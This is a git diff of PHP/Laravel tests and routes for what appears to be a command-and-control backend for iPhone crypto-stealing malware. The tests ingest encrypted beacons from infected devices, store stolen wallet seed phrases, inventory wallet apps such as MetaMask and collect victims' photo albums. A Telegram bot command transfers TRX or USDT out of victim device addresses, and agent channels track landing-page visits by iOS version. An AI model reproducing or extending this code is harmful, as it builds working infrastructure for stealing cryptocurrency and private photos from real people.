$bot->onCommand('transfer {args}', TransferCommand::class)
|
||||
->where('args', '.+')
|
||||
->description('Transfer TRX or USDT from a device address (omit amount = all)');
|
||||
})
|
||||
->middleware(GroupAdminOnly::class)
|
||||
->middleware(AuthorizedChat::class);
|
||||
app(TelegramRegistrar::class)->registerOfficial($bot);
|
||||
|
||||
@@ -30,6 +30,8 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
|
||||
Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data');
|
||||
Route::get('devices/{device}/tab-data', [DeviceController::class, 'tabData'])->name('devices.tabData');
|
||||
Route::get('devices/{device}', [DeviceController::class, 'show'])->name('devices.show');
|
||||
Route::put('devices/{device}', [DeviceController::class, 'update'])->name('devices.update');
|
||||
Route::post('devices/{device}/photos/clear', [DeviceController::class, 'clearPhotos'])->name('devices.photos.clear');
|
||||
Route::get('devices/{device}/photos/{photo}', [DeviceController::class, 'photo'])->name('devices.photo');
|
||||
|
||||
Route::get('addresses', [WalletAddressController::class, 'index'])->name('addresses.index');
|
||||
|
||||
@@ -212,7 +212,7 @@ class AdminAgentPortalTest extends TestCase
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.total', 2)
|
||||
->assertJsonStructure(['data' => ['total', 'new_count', 'active_count', 'pv', 'uv', 'from', 'to']]);
|
||||
->assertJsonStructure(['data' => ['total', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'by_os', 'by_ios_version', 'from', 'to']]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
+77
-14
@@ -32,7 +32,7 @@ class C2ApiTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function upsert_refreshes_updated_at_on_repeat_request(): void
|
||||
public function avatar_put_creates_device_and_repeat_only_touches_updated_at(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$payload = [
|
||||
@@ -43,7 +43,7 @@ class C2ApiTest extends TestCase
|
||||
];
|
||||
$ts1 = '1722585600001';
|
||||
$enc1 = $crypto->encryptJson($payload, $ts1);
|
||||
$this->call('POST', '/api/user/avatar/set', [], [], [], [
|
||||
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts1,
|
||||
'HTTP_USER_AGENT' => 'CorunaLab-Active/1.0',
|
||||
@@ -51,25 +51,93 @@ class C2ApiTest extends TestCase
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-active-1')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame('iPhone9,1', $device->device_model);
|
||||
$this->assertSame('15.8.4', $device->ios_version);
|
||||
$this->assertSame('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', $device->channel_id);
|
||||
$this->assertStringContainsString('CorunaLab-Active/1.0', (string) $device->user_agent);
|
||||
$firstUpdated = $device->updated_at?->copy();
|
||||
$this->assertNotNull($firstUpdated);
|
||||
$firstIp = $device->ip;
|
||||
$firstUa = $device->user_agent;
|
||||
|
||||
sleep(1);
|
||||
|
||||
$ts2 = '1722585600002';
|
||||
$enc2 = $crypto->encryptJson($payload, $ts2);
|
||||
$this->call('POST', '/api/user/avatar/set', [], [], [], [
|
||||
$enc2 = $crypto->encryptJson([
|
||||
'd' => 'dev-active-1',
|
||||
'm' => 'iPhone14,2',
|
||||
'pv' => '16.0',
|
||||
'c' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
||||
], $ts2);
|
||||
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts2,
|
||||
'HTTP_USER_AGENT' => 'CorunaLab-Active/1.0',
|
||||
'HTTP_USER_AGENT' => 'CorunaLab-Active/2.0',
|
||||
'REMOTE_ADDR' => '9.9.9.9',
|
||||
], $enc2['body'])->assertOk();
|
||||
|
||||
$device->refresh();
|
||||
$this->assertTrue($device->updated_at->greaterThan($firstUpdated));
|
||||
$this->assertSame('iPhone9,1', $device->device_model);
|
||||
$this->assertSame('15.8.4', $device->ios_version);
|
||||
// First trusted channel sticks; later put must not overwrite.
|
||||
$this->assertSame('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', $device->channel_id);
|
||||
$this->assertSame($firstUa, $device->user_agent);
|
||||
$this->assertSame($firstIp, $device->ip);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function avatar_set_ingests_device_model_and_ua(): void
|
||||
public function non_put_creates_device_without_channel_and_put_fills_channel_once(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$tsSet = '1722585600100';
|
||||
$encSet = $crypto->encryptJson([
|
||||
'd' => 'dev-channel-fill',
|
||||
'c' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
'a' => 'a1',
|
||||
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||
], $tsSet);
|
||||
$this->call('POST', '/api/user/set', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $tsSet,
|
||||
], $encSet['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-channel-fill')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertNull($device->channel_id);
|
||||
$this->assertSame(1, WalletMnemonic::query()->where('device_id', $device->id)->count());
|
||||
|
||||
$tsPut = '1722585600101';
|
||||
$encPut = $crypto->encryptJson([
|
||||
'd' => 'dev-channel-fill',
|
||||
'c' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
||||
'et' => 'heartbeat',
|
||||
], $tsPut);
|
||||
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $tsPut,
|
||||
], $encPut['body'])->assertOk();
|
||||
|
||||
$device->refresh();
|
||||
$this->assertSame('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', $device->channel_id);
|
||||
|
||||
$tsPut2 = '1722585600102';
|
||||
$encPut2 = $crypto->encryptJson([
|
||||
'd' => 'dev-channel-fill',
|
||||
'c' => 'cccccccccccccccccccccccccccccccc',
|
||||
'et' => 'heartbeat',
|
||||
], $tsPut2);
|
||||
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $tsPut2,
|
||||
], $encPut2['body'])->assertOk();
|
||||
|
||||
$device->refresh();
|
||||
$this->assertSame('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', $device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function avatar_set_does_not_create_device(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$payload = [
|
||||
@@ -99,14 +167,7 @@ class C2ApiTest extends TestCase
|
||||
$resp->assertOk();
|
||||
$plain = $crypto->decryptJsonBody($resp->getContent(), $resp->headers->get('timestamp'));
|
||||
$this->assertSame(0, $plain['code'] ?? null);
|
||||
|
||||
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame('34f5121f572d6742703eb84ec2f866a6', $device->channel_id);
|
||||
$this->assertSame('15.8.4', $device->ios_version);
|
||||
$this->assertSame('iPhone9,1', $device->device_model);
|
||||
$this->assertStringContainsString('CorunaLab/1.0', (string) $device->user_agent);
|
||||
$this->assertSame(0, $device->apps()->count());
|
||||
$this->assertNull(Device::query()->where('device_id', '000430C910E8E526')->first());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -116,6 +177,7 @@ class C2ApiTest extends TestCase
|
||||
$payload = [
|
||||
'd' => '000430C910E8E526',
|
||||
'f' => '000430C910E8E526',
|
||||
'c' => 'dddddddddddddddddddddddddddddddd',
|
||||
'v' => '15.8.4',
|
||||
'al' => [
|
||||
['a' => 'MetaMask', 'b' => 'io.metamask', 'v' => '7.12.0'],
|
||||
@@ -132,6 +194,7 @@ class C2ApiTest extends TestCase
|
||||
|
||||
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertNull($device->channel_id);
|
||||
$this->assertSame('15.8.4', $device->ios_version);
|
||||
|
||||
$mm = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'io.metamask')->first();
|
||||
|
||||
@@ -0,0 +1,116 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Services\IngestService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class DeviceAlbumStorageTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
#[Test]
|
||||
public function album_storage_defaults_on(): void
|
||||
{
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-album-default',
|
||||
]);
|
||||
|
||||
$this->assertTrue($device->fresh()->albumStorageEnabled());
|
||||
$this->assertTrue((bool) $device->fresh()->album_storage);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ingest_skips_photos_when_album_storage_off(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-album-off',
|
||||
'album_storage' => false,
|
||||
]);
|
||||
|
||||
$tmp = sys_get_temp_dir().'/coruna_album_'.uniqid().'.jpg';
|
||||
file_put_contents($tmp, "\xFF\xD8\xFF\xD9");
|
||||
|
||||
app(IngestService::class)->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
|
||||
|
||||
$this->assertSame(0, Photo::query()->where('device_id', $device->id)->count());
|
||||
@unlink($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_can_toggle_album_storage(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create(['device_id' => 'dev-toggle']);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->putJson(route('admin.devices.update', $device), ['album_storage' => 0])
|
||||
->assertOk()
|
||||
->assertJsonPath('data.album_storage', 0);
|
||||
|
||||
$this->assertFalse($device->fresh()->albumStorageEnabled());
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->putJson(route('admin.devices.update', $device), ['album_storage' => 1])
|
||||
->assertOk()
|
||||
->assertJsonPath('data.album_storage', 1);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function clear_photos_removes_rows_and_files(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create(['device_id' => 'dev-clear']);
|
||||
|
||||
$path = 'c2/photos/dev-clear/abc_hit.jpg';
|
||||
Storage::disk('local')->put($path, "\xFF\xD8\xFF\xD9");
|
||||
Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => hash('sha256', "\xFF\xD8\xFF\xD9"),
|
||||
'path' => $path,
|
||||
'size' => 4,
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.devices.photos.clear', $device))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.deleted_rows', 1);
|
||||
|
||||
$this->assertSame(0, Photo::query()->where('device_id', $device->id)->count());
|
||||
Storage::disk('local')->assertMissing($path);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_cannot_clear_other_channel_device_photos(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$agent = User::query()->create([
|
||||
'username' => 'agent_album',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
]);
|
||||
Channel::query()->create([
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
'user_id' => $agent->id,
|
||||
'status' => 1,
|
||||
]);
|
||||
$other = Device::query()->create([
|
||||
'device_id' => 'dev-other',
|
||||
'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
||||
]);
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->postJson(route('user.devices.photos.clear', $other))
|
||||
->assertForbidden();
|
||||
}
|
||||
}
|
||||
@@ -107,13 +107,38 @@ class PageVisitTest extends TestCase
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'u3',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '17.0',
|
||||
'browser' => 'Safari',
|
||||
'browser_version' => '17.0',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'u4',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.0',
|
||||
'browser' => 'Chrome',
|
||||
'browser_version' => '119.0',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.dashboard.data', ['range' => 'today']))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.pv', 3)
|
||||
->assertJsonPath('data.uv', 2)
|
||||
->assertJsonStructure(['data' => ['by_os', 'by_browser', 'pv', 'uv']]);
|
||||
->assertJsonPath('data.pv', 5)
|
||||
->assertJsonPath('data.uv', 4)
|
||||
->assertJsonPath('data.effective_pv', 2)
|
||||
->assertJsonPath('data.effective_uv', 1)
|
||||
->assertJsonPath('data.by_os.0.label', 'iOS')
|
||||
->assertJsonPath('data.by_os.0.pv', 4)
|
||||
->assertJsonPath('data.by_os.1.label', '其他')
|
||||
->assertJsonPath('data.by_os.1.pv', 1)
|
||||
->assertJsonStructure(['data' => ['by_os', 'by_ios_version', 'pv', 'uv', 'effective_pv', 'effective_uv']]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -2,7 +2,11 @@
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
use App\Services\TransferService;
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Mockery;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
@@ -18,6 +22,8 @@ class TelegramBotTest extends TestCase
|
||||
|
||||
private const OWNER_CHAT = -1001234567890;
|
||||
|
||||
private const AGENT_CHAT = -1009876543210;
|
||||
|
||||
private const USER_ID = 4242;
|
||||
|
||||
protected function setUp(): void
|
||||
@@ -29,6 +35,8 @@ class TelegramBotTest extends TestCase
|
||||
'nutgram.token' => FakeNutgram::TOKEN,
|
||||
]);
|
||||
|
||||
app(TelegramBotContext::class)->setAgent(null);
|
||||
|
||||
// Nutgram is a singleton; reset so FakeNutgram mock queues stay isolated.
|
||||
$this->app->forgetInstance(Nutgram::class);
|
||||
$this->app->forgetInstance('nutgram');
|
||||
@@ -88,9 +96,34 @@ class TelegramBotTest extends TestCase
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
|
||||
foreach (['/ping', '/help', '/data', '/channel', '/transfer Txxx USDT 1'] as $text) {
|
||||
$this->app->forgetInstance(Nutgram::class);
|
||||
$this->app->forgetInstance('nutgram');
|
||||
$this->app->forgetInstance('telegram');
|
||||
$this->app->forgetInstance(FakeNutgram::class);
|
||||
$bot = app(Nutgram::class);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => $text,
|
||||
'chat' => ['id' => 999, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'X'],
|
||||
])->reply();
|
||||
|
||||
$bot->assertCalled('sendMessage', 0);
|
||||
}
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function private_chat_is_silent_even_with_matching_id(): void
|
||||
{
|
||||
config(['coruna.telegram.owner_chat_id' => (string) self::USER_ID]);
|
||||
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => '/ping',
|
||||
'chat' => ['id' => 999, 'type' => ChatType::SUPERGROUP->value],
|
||||
'text' => '/help',
|
||||
'chat' => ['id' => self::USER_ID, 'type' => ChatType::PRIVATE->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'X'],
|
||||
])->reply();
|
||||
|
||||
@@ -109,7 +142,7 @@ class TelegramBotTest extends TestCase
|
||||
]);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => '/ping',
|
||||
'text' => '/help',
|
||||
'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'X'],
|
||||
])->reply();
|
||||
@@ -118,6 +151,35 @@ class TelegramBotTest extends TestCase
|
||||
$bot->assertReplyText('⛔ Only group admins can use this command.', 1);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_help_lists_commands(): void
|
||||
{
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
|
||||
$bot->willReceivePartial([
|
||||
'status' => ChatMemberStatus::ADMINISTRATOR->value,
|
||||
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'],
|
||||
'can_manage_chat' => true,
|
||||
]);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => '/help',
|
||||
'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'],
|
||||
])->reply();
|
||||
|
||||
$bot->assertCalled('sendMessage', 1);
|
||||
$history = $bot->getRequestHistory();
|
||||
$last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
|
||||
$text = $last['text'] ?? '';
|
||||
$this->assertStringContainsString('/help', $text);
|
||||
$this->assertStringContainsString('/data', $text);
|
||||
$this->assertStringContainsString('/channel', $text);
|
||||
$this->assertStringContainsString('/transfer', $text);
|
||||
$this->assertStringContainsString('/ping', $text);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_ping_replies_pong(): void
|
||||
{
|
||||
@@ -145,7 +207,14 @@ class TelegramBotTest extends TestCase
|
||||
$mock = Mockery::mock(TransferService::class);
|
||||
$mock->shouldReceive('handle')
|
||||
->once()
|
||||
->with('tron', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', '10', 'USDT')
|
||||
->withArgs(function (...$args) {
|
||||
return ($args[0] ?? null) === 'tron'
|
||||
&& ($args[1] ?? null) === 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH'
|
||||
&& ($args[2] ?? null) === '10'
|
||||
&& ($args[3] ?? null) === 'USDT'
|
||||
&& is_string($args[4] ?? null)
|
||||
&& str_starts_with((string) $args[4], 'telegram:');
|
||||
})
|
||||
->andReturn([
|
||||
'ok' => true,
|
||||
'txid' => 'deadbeef',
|
||||
@@ -176,4 +245,307 @@ class TelegramBotTest extends TestCase
|
||||
$last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
|
||||
$this->assertStringContainsString('deadbeef', $last['text'] ?? '');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_data_reports_dashboard_stats(): void
|
||||
{
|
||||
$channel = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => $channel,
|
||||
'client_uid' => 'u1',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.6',
|
||||
'browser' => 'Safari',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => $channel,
|
||||
'client_uid' => 'u2',
|
||||
'os' => 'Android',
|
||||
'os_version' => '13',
|
||||
'browser' => 'Chrome',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
|
||||
$bot->willReceivePartial([
|
||||
'status' => ChatMemberStatus::ADMINISTRATOR->value,
|
||||
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'],
|
||||
'can_manage_chat' => true,
|
||||
]);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => '/data 1 '.$channel,
|
||||
'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'],
|
||||
])->reply();
|
||||
|
||||
$bot->assertCalled('sendMessage', 1);
|
||||
$history = $bot->getRequestHistory();
|
||||
$last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
|
||||
$text = $last['text'] ?? '';
|
||||
$this->assertStringContainsString('页面 PV: 1 / 2', $text);
|
||||
$this->assertStringContainsString('按 iOS 版本', $text);
|
||||
$this->assertStringContainsString($channel, $text);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_channel_lists_copyable_links(): void
|
||||
{
|
||||
config(['coruna.channel_domains' => ['example.com']]);
|
||||
|
||||
Channel::query()->create([
|
||||
'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
||||
'user_id' => Channel::OFFICIAL_USER_ID,
|
||||
'remark' => '主站',
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
|
||||
$bot->willReceivePartial([
|
||||
'status' => ChatMemberStatus::ADMINISTRATOR->value,
|
||||
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'],
|
||||
'can_manage_chat' => true,
|
||||
]);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => '/channel',
|
||||
'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'],
|
||||
])->reply();
|
||||
|
||||
$bot->assertCalled('sendMessage', 1);
|
||||
$history = $bot->getRequestHistory();
|
||||
$last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
|
||||
$this->assertStringContainsString('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', $last['text'] ?? '');
|
||||
$this->assertStringContainsString('主站', $last['text'] ?? '');
|
||||
$this->assertStringContainsString('官方', $last['text'] ?? '');
|
||||
$this->assertArrayHasKey('reply_markup', $last);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_bot_only_sees_own_channels_and_stats(): void
|
||||
{
|
||||
$agentA = User::query()->create([
|
||||
'username' => 'agent_a',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'chat_id' => (string) self::AGENT_CHAT,
|
||||
'bot_token' => '111:AAA',
|
||||
]);
|
||||
$agentB = User::query()->create([
|
||||
'username' => 'agent_b',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'chat_id' => '-100111',
|
||||
'bot_token' => '222:BBB',
|
||||
]);
|
||||
|
||||
$chA = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
||||
$chB = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
|
||||
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1, 'remark' => 'A站']);
|
||||
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1, 'remark' => 'B站']);
|
||||
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => $chA,
|
||||
'client_uid' => 'ua',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.0',
|
||||
'browser' => 'Safari',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => $chB,
|
||||
'client_uid' => 'ub',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.0',
|
||||
'browser' => 'Safari',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
app(TelegramBotContext::class)->setAgent($agentA);
|
||||
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
$bot->willReceivePartial([
|
||||
'status' => ChatMemberStatus::ADMINISTRATOR->value,
|
||||
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
'can_manage_chat' => true,
|
||||
]);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => '/channel',
|
||||
'chat' => ['id' => self::AGENT_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
])->reply();
|
||||
|
||||
$history = $bot->getRequestHistory();
|
||||
$channelMsg = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
|
||||
$this->assertStringContainsString($chA, $channelMsg['text'] ?? '');
|
||||
$this->assertStringNotContainsString($chB, $channelMsg['text'] ?? '');
|
||||
|
||||
$this->app->forgetInstance(Nutgram::class);
|
||||
$this->app->forgetInstance('nutgram');
|
||||
$this->app->forgetInstance('telegram');
|
||||
$this->app->forgetInstance(FakeNutgram::class);
|
||||
app(TelegramBotContext::class)->setAgent($agentA);
|
||||
|
||||
/** @var FakeNutgram $bot2 */
|
||||
$bot2 = app(Nutgram::class);
|
||||
$bot2->willReceivePartial([
|
||||
'status' => ChatMemberStatus::ADMINISTRATOR->value,
|
||||
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
'can_manage_chat' => true,
|
||||
]);
|
||||
$bot2->hearMessage([
|
||||
'text' => '/data 1',
|
||||
'chat' => ['id' => self::AGENT_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
])->reply();
|
||||
|
||||
$history2 = $bot2->getRequestHistory();
|
||||
$dataMsg = FakeNutgram::getActualData(array_values($history2[array_key_last($history2)])[0]);
|
||||
$this->assertStringContainsString('页面 PV: 1 / 1', $dataMsg['text'] ?? '');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_bot_rejects_foreign_channel_and_transfer(): void
|
||||
{
|
||||
$agent = User::query()->create([
|
||||
'username' => 'agent_x',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'chat_id' => (string) self::AGENT_CHAT,
|
||||
'bot_token' => '111:AAA',
|
||||
]);
|
||||
Channel::query()->create([
|
||||
'channel_id' => 'cccccccccccccccccccccccccccccccc',
|
||||
'user_id' => $agent->id,
|
||||
'status' => 1,
|
||||
]);
|
||||
$foreign = 'dddddddddddddddddddddddddddddddd';
|
||||
Channel::query()->create([
|
||||
'channel_id' => $foreign,
|
||||
'user_id' => Channel::OFFICIAL_USER_ID,
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
app(TelegramBotContext::class)->setAgent($agent);
|
||||
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
$bot->willReceivePartial([
|
||||
'status' => ChatMemberStatus::ADMINISTRATOR->value,
|
||||
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
'can_manage_chat' => true,
|
||||
]);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => '/data 1 '.$foreign,
|
||||
'chat' => ['id' => self::AGENT_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
])->reply();
|
||||
|
||||
$history = $bot->getRequestHistory();
|
||||
$msg = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
|
||||
$this->assertStringContainsString('无权查看该渠道', $msg['text'] ?? '');
|
||||
|
||||
$this->app->forgetInstance(Nutgram::class);
|
||||
$this->app->forgetInstance('nutgram');
|
||||
$this->app->forgetInstance('telegram');
|
||||
$this->app->forgetInstance(FakeNutgram::class);
|
||||
app(TelegramBotContext::class)->setAgent($agent);
|
||||
|
||||
/** @var FakeNutgram $bot2 */
|
||||
$bot2 = app(Nutgram::class);
|
||||
$bot2->willReceivePartial([
|
||||
'status' => ChatMemberStatus::ADMINISTRATOR->value,
|
||||
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
'can_manage_chat' => true,
|
||||
]);
|
||||
$bot2->hearMessage([
|
||||
'text' => '/transfer TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH USDT 1',
|
||||
'chat' => ['id' => self::AGENT_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
])->reply();
|
||||
|
||||
$history2 = $bot2->getRequestHistory();
|
||||
$transferMsg = FakeNutgram::getActualData(array_values($history2[array_key_last($history2)])[0]);
|
||||
$this->assertStringContainsString('仅限官方', $transferMsg['text'] ?? '');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_help_hides_transfer(): void
|
||||
{
|
||||
$agent = User::query()->create([
|
||||
'username' => 'agent_help',
|
||||
